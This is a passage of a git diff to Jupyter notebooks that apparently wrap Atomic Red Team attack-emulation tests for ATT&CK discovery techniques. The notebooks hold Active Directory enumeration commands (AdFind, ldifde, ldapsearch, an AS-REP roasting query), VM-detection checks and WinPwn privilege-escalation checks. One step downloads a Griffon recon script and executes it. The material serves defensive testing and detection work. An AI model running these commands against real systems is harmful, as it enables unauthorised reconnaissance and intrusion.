"```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\" -f (objectcategory=group)\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "1e291602", + "id": "88f74f49", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1069.002 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "cd0c7d4d", + "id": "845a9304", "metadata": {}, "source": [ "### Atomic Test #9 - Enumerate Active Directory Groups with Get-AdGroup", @@ -209,14 +209,14 @@ { "cell_type": "code", "execution_count": null, - "id": "8dfed95c", + "id": "07411744", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1069.002 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "9e45d1a5", + "id": "c8524a53", "metadata": {}, "source": [ "### Atomic Test #10 - Enumerate Active Directory Groups with ADSISearcher", @@ -230,28 +230,28 @@ { "cell_type": "code", "execution_count": null, - "id": "fdb6b813", + "id": "bf02cfdd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1069.002 -TestNumbers 10" }, { "cell_type": "markdown", - "id": "4d699995", + "id": "d8c1aaa1", "metadata": {}, "source": "### Atomic Test #11 - Get-ADUser Enumeration using UserAccountControl flags (AS-REP Roasting)\nWhen successful, accounts that do not require kerberos pre-auth will be returned.\nReference: https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Computer must be domain joined.\n\n##### Check Prereq Commands:\n```powershell\nif((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host Joining this computer to a domain must be done manually.\n\n```\n##### Description: Requires the Active Directory module for powershell to be installed.\n\n##### Check Prereq Commands:\n```powershell\nif(Get-Module -ListAvailable -Name ActiveDirectory) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nAdd-WindowsCapability -Online -Name \"Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f81628c5", + "id": "20ff92c5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1069.002 -TestNumbers 11 -GetPreReqs" }, { "cell_type": "markdown", - "id": "e7799b4f", + "id": "471236a8", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -261,14 +261,14 @@ { "cell_type": "code", "execution_count": null, - "id": "e6282570", + "id": "dd4ac288", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1069.002 -TestNumbers 11" }, { "cell_type": "markdown", - "id": "6cc4f400", + "id": "f2d2ce41", "metadata": {}, "source": [ "### Atomic Test #12 - Get-DomainGroupMember with PowerView", @@ -281,14 +281,14 @@ { "cell_type": "code", "execution_count": null, - "id": "5f29371d", + "id": "3e9ff361", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1069.002 -TestNumbers 12" }, { "cell_type": "markdown", - "id": "d88b1c5b", + "id": "853875e9", "metadata": {}, "source": [ "### Atomic Test #13 - Get-DomainGroup with PowerView", @@ -301,14 +301,90 @@ { "cell_type": "code", "execution_count": null, - "id": "ee24252d", + "id": "9105f66e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1069.002 -TestNumbers 13" }, { "cell_type": "markdown", - "id": "1ed62272", + "id": "e8219591", + "metadata": {}, + "source": "### Atomic Test #14 - Active Directory Enumeration with LDIFDE\nOutput information from Active Directory to a specified file. [Ldifde](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc731033(v=ws.11)) is a CLI tool for creating, modifying and deleting directory objects.\nThe test is derived from the CISA Report on Voly Typhoon. Reference: https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: PowerShell ActiveDirectory Module must be installed\n\n##### Check Prereq Commands:\n```cmd\nTry {\n Import-Module ActiveDirectory -ErrorAction Stop | Out-Null\n exit 0\n}\nCatch {\n exit 1\n}\n\n```\n##### Get Prereq Commands:\n```cmd\nif((Get-CimInstance -ClassName Win32_OperatingSystem).ProductType -eq 1) {\n Add-WindowsCapability -Name (Get-WindowsCapability -Name RSAT.ActiveDirectory.DS* -Online).Name -Online\n} else {\n Install-WindowsFeature RSAT-AD-PowerShell\n}\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "fe1bd098", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1069.002 -TestNumbers 14 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "b8c6ce4a", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nldifde.exe -f C:\\Windows\\temp\\atomic_ldifde.txt -p subtree\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "45deaaca", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1069.002 -TestNumbers 14" + }, + { + "cell_type": "markdown", + "id": "1d672769", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\ndel C:\\Windows\\temp\\atomic_ldifde.txt\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e4060bbd", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1069.002 -TestNumbers 14 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "6e059c1f", + "metadata": {}, + "source": "### Atomic Test #15 - Active Directory Domain Search Using LDAP - Linux (Ubuntu)/macOS\nOutput information from LDAPSearch. LDAP Password is the admin-user password on Active Directory\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Packages sssd-ad sssd-tools realmd adcli installed and realm available, ldapsearch\n\n##### Check Prereq Commands:\n```sh\nwhich ldapsearch\n\n```\n##### Get Prereq Commands:\n```sh\necho missing ldapsearch command; exit 1\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c9bb0567", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1069.002 -TestNumbers 15 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "badae347", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\nldapsearch -H ldap://example.com:389 -x -D user@example.com -w s3CurePssw0rD! -b \"CN=Users,DC=example,DC=com\" \"(objectClass=group)\" -s sub -a always -z 1000 dn \n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "9b2a56f2", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1069.002 -TestNumbers 15" + }, + { + "cell_type": "markdown", + "id": "7828890e", "metadata": {}, "source": "## Detection\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001)." } @@ -316,13 +392,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1069.003.ipynb b/playbook/tactics/discovery/T1069.003.ipynb index c82c298f..c1209e1d 100644 --- a/playbook/tactics/discovery/T1069.003.ipynb +++ b/playbook/tactics/discovery/T1069.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "05b6c304", + "id": "4d6e538a", "metadata": {}, - "source": "# T1069.003 - Cloud Groups\nAdversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\n\nWith authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).\n\nAzure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation)\n\nAdversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object." + "source": "# T1069.003 - Cloud Groups\nAdversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\n\nWith authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).\n\nAzure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation) In AWS, the commands `ListRolePolicies` and `ListAttachedRolePolicies` allow users to enumerate the policies attached to a role.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)\n\nAdversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object." }, { "cell_type": "markdown", - "id": "d6cff39b", + "id": "9fb482ce", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "ce1a3874", + "id": "1caedc3d", "metadata": {}, "source": "## Detection\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Activity and account logs for the cloud services can also be monitored for suspicious commands that are anomalous compared to a baseline of normal activity." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1069.ipynb b/playbook/tactics/discovery/T1069.ipynb index 1c85c7a3..b1088aae 100644 --- a/playbook/tactics/discovery/T1069.ipynb +++ b/playbook/tactics/discovery/T1069.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "ecdaab2a", + "id": "b0ec3254", "metadata": {}, - "source": "# T1069 - Permission Groups Discovery\nAdversaries may attempt to find group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions." + "source": "# T1069 - Permission Groups Discovery\nAdversaries may attempt to discover group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.\n\nAdversaries may attempt to discover group permission settings in many different ways. This data may provide the adversary with information about the compromised environment that can be used in follow-on activity and targeting.(Citation: CrowdStrike BloodHound April 2018)" }, { "cell_type": "markdown", - "id": "a2db6722", + "id": "3056d4f8", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "f117f46a", + "id": "77bebeb1", "metadata": {}, "source": "## Detection\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Monitor container logs for commands and/or API calls related to listing permissions for pods and nodes, such as kubectl auth can-i.(Citation: K8s Authorization Overview)" }, { "cell_type": "markdown", - "id": "2ac64f6f", + "id": "f878dd2b", "metadata": {}, "source": "\n## Shield Active Defense\n### Software Manipulation \n Make changes to a system's software properties and functions to achieve a desired effect. \n\n Software Manipulation allows a defender to alter or replace elements of the operating system, file system, or any other software installed and executed on a system.\n#### Opportunity\nIn an adversary engagement operation, there is an opportunity to impact what an adversary sees when they execute commands on a system.\n#### Use Case\nA defender could manipulate a system's software to alter the results of an adversary enumerating permission group information.\n#### Procedures\nHook the Win32 Sleep() function so that it always performs a Sleep(1) instead of the intended duration. This can increase the speed at which dynamic analysis can be performed when a normal malicious file sleeps for long periods before attempting additional capabilities.\nHook the Win32 NetUserChangePassword() and modify it such that the new password is different from the one provided. The data passed into the function is encrypted along with the modified new password, then logged so a defender can get alerted about the change as well as decrypt the new password for use.\nAlter the output of an adversary's profiling commands to make newly-built systems look like the operating system was installed months earlier.\nAlter the output of adversary recon commands to not show important assets, such as a file server containing sensitive data.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1082.ipynb b/playbook/tactics/discovery/T1082.ipynb index 93c8dfb8..1ca0d7a2 100644 --- a/playbook/tactics/discovery/T1082.ipynb +++ b/playbook/tactics/discovery/T1082.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "9b044630", + "id": "57afd9e0", "metadata": {}, "source": "# T1082 - System Information Discovery\nAn adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nTools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information (e.g. show version).(Citation: US-CERT-TA18-106A) [System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)\n\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)" }, { "cell_type": "markdown", - "id": "cc71b4dc", + "id": "e3d0d28f", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "9a26711e", + "id": "184d93e5", "metadata": {}, "source": [ "### Atomic Test #1 - System Information Discovery", @@ -27,14 +27,14 @@ { "cell_type": "code", "execution_count": null, - "id": "9c18d010", + "id": "5ba04aa1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1082 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "caa828ef", + "id": "3cc92aab", "metadata": {}, "source": [ "### Atomic Test #2 - System Information Discovery", @@ -47,53 +47,54 @@ { "cell_type": "code", "execution_count": null, - "id": "b0b25cbe", + "id": "25b4b0dd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1082 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "46177b6a", + "id": "e2dfb291", "metadata": {}, "source": [ "### Atomic Test #3 - List OS Information", "Identify System Info\n", "**Supported Platforms:** linux, macos", "#### Attack Commands: Run with `sh`\n", - "```sh\nuname -a >> /tmp/T1082.txt\nif [ -f /etc/lsb-release ]; then cat /etc/lsb-release >> /tmp/T1082.txt; fi\nif [ -f /etc/redhat-release ]; then cat /etc/redhat-release >> /tmp/T1082.txt; fi \nif [ -f /etc/issue ]; then cat /etc/issue >> /tmp/T1082.txt; fi\nuptime >> /tmp/T1082.txt\ncat /tmp/T1082.txt 2>/dev/null\n```" + "```sh\nuname -a >> /tmp/T1082.txt\nif [ -f /etc/lsb-release ]; then cat /etc/lsb-release >> /tmp/T1082.txt; fi\nif [ -f /etc/redhat-release ]; then cat /etc/redhat-release >> /tmp/T1082.txt; fi \nif [ -f /etc/issue ]; then cat /etc/issue >> /tmp/T1082.txt; fi\nif [ -f /etc/os-release ]; then cat /etc/os-release >> /tmp/T1082.txt; fi\nuptime >> /tmp/T1082.txt\ncat /tmp/T1082.txt 2>/dev/null\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "16931f5c", + "id": "b57889b4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1082 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "198a89c8", + "id": "0cda5f4c", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm /tmp/T1082.txt 2>/dev/null\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e2df8e76", + "id": "facec56e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1082 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "bcfdf155", + "id": "404d8fc0", "metadata": {}, "source": [ "### Atomic Test #4 - Linux VM Check via Hardware", "Identify virtual machine hardware. This technique is used by the Pupy RAT and other malware.\n", "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `bash`\n", "```bash\nif [ -f /sys/class/dmi/id/bios_version ]; then cat /sys/class/dmi/id/bios_version | grep -i amazon; fi\nif [ -f /sys/class/dmi/id/product_name ]; then cat /sys/class/dmi/id/product_name | grep -i \"Droplet\\|HVM\\|VirtualBox\\|VMware\"; fi\nif [ -f /sys/class/dmi/id/product_name ]; then cat /sys/class/dmi/id/chassis_vendor | grep -i \"Xen\\|Bochs\\|QEMU\"; fi\nif [ -x \"$(command -v dmidecode)\" ]; then sudo dmidecode | grep -i \"microsoft\\|vmware\\|virtualbox\\|quemu\\|domu\"; fi\nif [ -f /proc/scsi/scsi ]; then cat /proc/scsi/scsi | grep -i \"vmware\\|vbox\"; fi\nif [ -f /proc/ide/hd0/model ]; then cat /proc/ide/hd0/model | grep -i \"vmware\\|vbox\\|qemu\\|virtual\"; fi\nif [ -x \"$(command -v lspci)\" ]; then sudo lspci | grep -i \"vmware\\|virtualbox\"; fi\nif [ -x \"$(command -v lscpu)\" ]; then sudo lscpu | grep -i \"Xen\\|KVM\\|Microsoft\"; fi\n```" ] @@ -101,14 +102,14 @@ { "cell_type": "code", "execution_count": null, - "id": "b05ddec5", + "id": "f4f3f84d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1082 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "ce667a57", + "id": "4a170665", "metadata": {}, "source": [ "### Atomic Test #5 - Linux VM Check via Kernel Modules", @@ -121,17 +122,37 @@ { "cell_type": "code", "execution_count": null, - "id": "bc5b809d", + "id": "129ffafc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1082 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "dc6915f4", + "id": "9bbb2dbd", "metadata": {}, "source": [ - "### Atomic Test #6 - Hostname Discovery (Windows)", + "### Atomic Test #6 - FreeBSD VM Check via Kernel Modules", + "Identify virtual machine host kernel modules.\n", + "**Supported Platforms:** linux", + "#### Attack Commands: Run with `sh`\n", + "```sh\nkldstat | grep -i \"vmm\"\nkldstat | grep -i \"vbox\"\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "3564f9bf", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1082 -TestNumbers 6" + }, + { + "cell_type": "markdown", + "id": "3634d0b5", + "metadata": {}, + "source": [ + "### Atomic Test #7 - Hostname Discovery (Windows)", "Identify system hostname for Windows. Upon execution, the hostname of the device will be displayed.\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `command_prompt`\n", @@ -141,37 +162,37 @@ { "cell_type": "code", "execution_count": null, - "id": "cc89e476", + "id": "494992bf", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1082 -TestNumbers 6" + "source": "Invoke-AtomicTest T1082 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "369042c2", + "id": "5b8b28b5", "metadata": {}, "source": [ - "### Atomic Test #7 - Hostname Discovery", - "Identify system hostname for Linux and macOS systems.\n", + "### Atomic Test #8 - Hostname Discovery", + "Identify system hostname for FreeBSD, Linux and macOS systems.\n", "**Supported Platforms:** linux, macos", - "#### Attack Commands: Run with `bash`\n", - "```bash\nhostname\n```" + "#### Attack Commands: Run with `sh`\n", + "```sh\nhostname\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "181e10eb", + "id": "9a5bd2f6", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1082 -TestNumbers 7" + "source": "Invoke-AtomicTest T1082 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "a79b107b", + "id": "dd8ac48c", "metadata": {}, "source": [ - "### Atomic Test #8 - Windows MachineGUID Discovery", + "### Atomic Test #9 - Windows MachineGUID Discovery", "Identify the Windows MachineGUID value for a system. Upon execution, the machine GUID will be displayed from registry.\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `command_prompt`\n", @@ -181,48 +202,48 @@ { "cell_type": "code", "execution_count": null, - "id": "ae64cc77", + "id": "5d421808", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1082 -TestNumbers 8" + "source": "Invoke-AtomicTest T1082 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "5f360e92", + "id": "2069ce99", "metadata": {}, - "source": "### Atomic Test #9 - Griffon Recon\nThis script emulates the reconnaissance script seen in used by Griffon and was modified by security researcher Kirk Sayre \nin order simply print the recon results to the screen as opposed to exfiltrating them. [Script](https://gist.github.com/kirk-sayre-work/7cb5bf4e2c7c77fa5684ddc17053f1e5). \nFor more information see also [https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon](https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon) and [https://attack.mitre.org/software/S0417/](https://attack.mitre.org/software/S0417/)\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Sample script file must exist on disk at specified location (#{vbscript})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1082\\src\\griffon_recon.vbs) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1082\\src\\griffon_recon.vbs) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1082/src/griffon_recon.vbs\" -OutFile \"PathToAtomicsFolder\\T1082\\src\\griffon_recon.vbs\"\n\n```" + "source": "### Atomic Test #10 - Griffon Recon\nThis script emulates the reconnaissance script seen in used by Griffon and was modified by security researcher Kirk Sayre \nin order simply print the recon results to the screen as opposed to exfiltrating them. [Script](https://gist.github.com/kirk-sayre-work/7cb5bf4e2c7c77fa5684ddc17053f1e5). \nFor more information see also [https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon](https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon) and [https://attack.mitre.org/software/S0417/](https://attack.mitre.org/software/S0417/)\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Sample script file must exist on disk at specified location (#{vbscript})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1082\\src\\griffon_recon.vbs\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1082\\src\\griffon_recon.vbs\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1082/src/griffon_recon.vbs\" -OutFile \"PathToAtomicsFolder\\T1082\\src\\griffon_recon.vbs\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7af016a6", + "id": "7581b899", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1082 -TestNumbers 9 -GetPreReqs" + "source": "Invoke-AtomicTest T1082 -TestNumbers 10 -GetPreReqs" }, { "cell_type": "markdown", - "id": "31f59c38", + "id": "589f42d0", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\ncscript PathToAtomicsFolder\\T1082\\src\\griffon_recon.vbs```" + "```powershell\ncscript \"PathToAtomicsFolder\\T1082\\src\\griffon_recon.vbs\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "a2f36acc", + "id": "46ad1060", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1082 -TestNumbers 9" + "source": "Invoke-AtomicTest T1082 -TestNumbers 10" }, { "cell_type": "markdown", - "id": "dddad293", + "id": "6edbf964", "metadata": {}, "source": [ - "### Atomic Test #10 - Environment variables discovery on windows", + "### Atomic Test #11 - Environment variables discovery on windows", "Identify all environment variables. Upon execution, environments variables and your path info will be displayed.\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `command_prompt`\n", @@ -232,19 +253,19 @@ { "cell_type": "code", "execution_count": null, - "id": "c658579d", + "id": "3085c8e3", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1082 -TestNumbers 10" + "source": "Invoke-AtomicTest T1082 -TestNumbers 11" }, { "cell_type": "markdown", - "id": "31dcdf95", + "id": "7569edea", "metadata": {}, "source": [ - "### Atomic Test #11 - Environment variables discovery on macos and linux", + "### Atomic Test #12 - Environment variables discovery on freebsd, macos and linux", "Identify all environment variables. Upon execution, environments variables and your path info will be displayed.\n", - "**Supported Platforms:** macos, linux", + "**Supported Platforms:** linux, macos", "#### Attack Commands: Run with `sh`\n", "```sh\nenv\n```" ] @@ -252,17 +273,17 @@ { "cell_type": "code", "execution_count": null, - "id": "c13ac8ea", + "id": "904a3b04", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1082 -TestNumbers 11" + "source": "Invoke-AtomicTest T1082 -TestNumbers 12" }, { "cell_type": "markdown", - "id": "637600c7", + "id": "dbf2995d", "metadata": {}, "source": [ - "### Atomic Test #12 - Show System Integrity Protection status (MacOS)", + "### Atomic Test #13 - Show System Integrity Protection status (MacOS)", "Read and Display System Intergrety Protection status. csrutil is commonly used by malware and post-exploitation tools to determine whether certain files and directories on the system are writable or not.\n", "**Supported Platforms:** macos", "#### Attack Commands: Run with `sh`\n", @@ -272,17 +293,17 @@ { "cell_type": "code", "execution_count": null, - "id": "66806725", + "id": "f04676a1", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1082 -TestNumbers 12" + "source": "Invoke-AtomicTest T1082 -TestNumbers 13" }, { "cell_type": "markdown", - "id": "a0fe328c", + "id": "f7743974", "metadata": {}, "source": [ - "### Atomic Test #13 - WinPwn - winPEAS", + "### Atomic Test #14 - WinPwn - winPEAS", "Discover Local Privilege Escalation possibilities using winPEAS function of WinPwn", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", @@ -292,17 +313,17 @@ { "cell_type": "code", "execution_count": null, - "id": "cbbe3bb2", + "id": "839a4f1f", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1082 -TestNumbers 13" + "source": "Invoke-AtomicTest T1082 -TestNumbers 14" }, { "cell_type": "markdown", - "id": "0169d0f9", + "id": "68fa866c", "metadata": {}, "source": [ - "### Atomic Test #14 - WinPwn - itm4nprivesc", + "### Atomic Test #15 - WinPwn - itm4nprivesc", "Discover Local Privilege Escalation possibilities using itm4nprivesc function of WinPwn", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", @@ -312,17 +333,17 @@ { "cell_type": "code", "execution_count": null, - "id": "776c9f13", + "id": "31b719be", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1082 -TestNumbers 14" + "source": "Invoke-AtomicTest T1082 -TestNumbers 15" }, { "cell_type": "markdown", - "id": "6198439c", + "id": "59b12bd4", "metadata": {}, "source": [ - "### Atomic Test #15 - WinPwn - Powersploits privesc checks", + "### Atomic Test #16 - WinPwn - Powersploits privesc checks", "Powersploits privesc checks using oldchecks function of WinPwn", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", @@ -332,31 +353,31 @@ { "cell_type": "code", "execution_count": null, - "id": "a8e3fbfa", + "id": "f16e38ec", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1082 -TestNumbers 15" + "source": "Invoke-AtomicTest T1082 -TestNumbers 16" }, { "cell_type": "markdown", - "id": "e65cca07", + "id": "a8b7e213", "metadata": {}, "source": "#### Cleanup: \n```powershell\nrm -force -recurse .\\DomainRecon -ErrorAction Ignore\nrm -force -recurse .\\Exploitation -ErrorAction Ignore\nrm 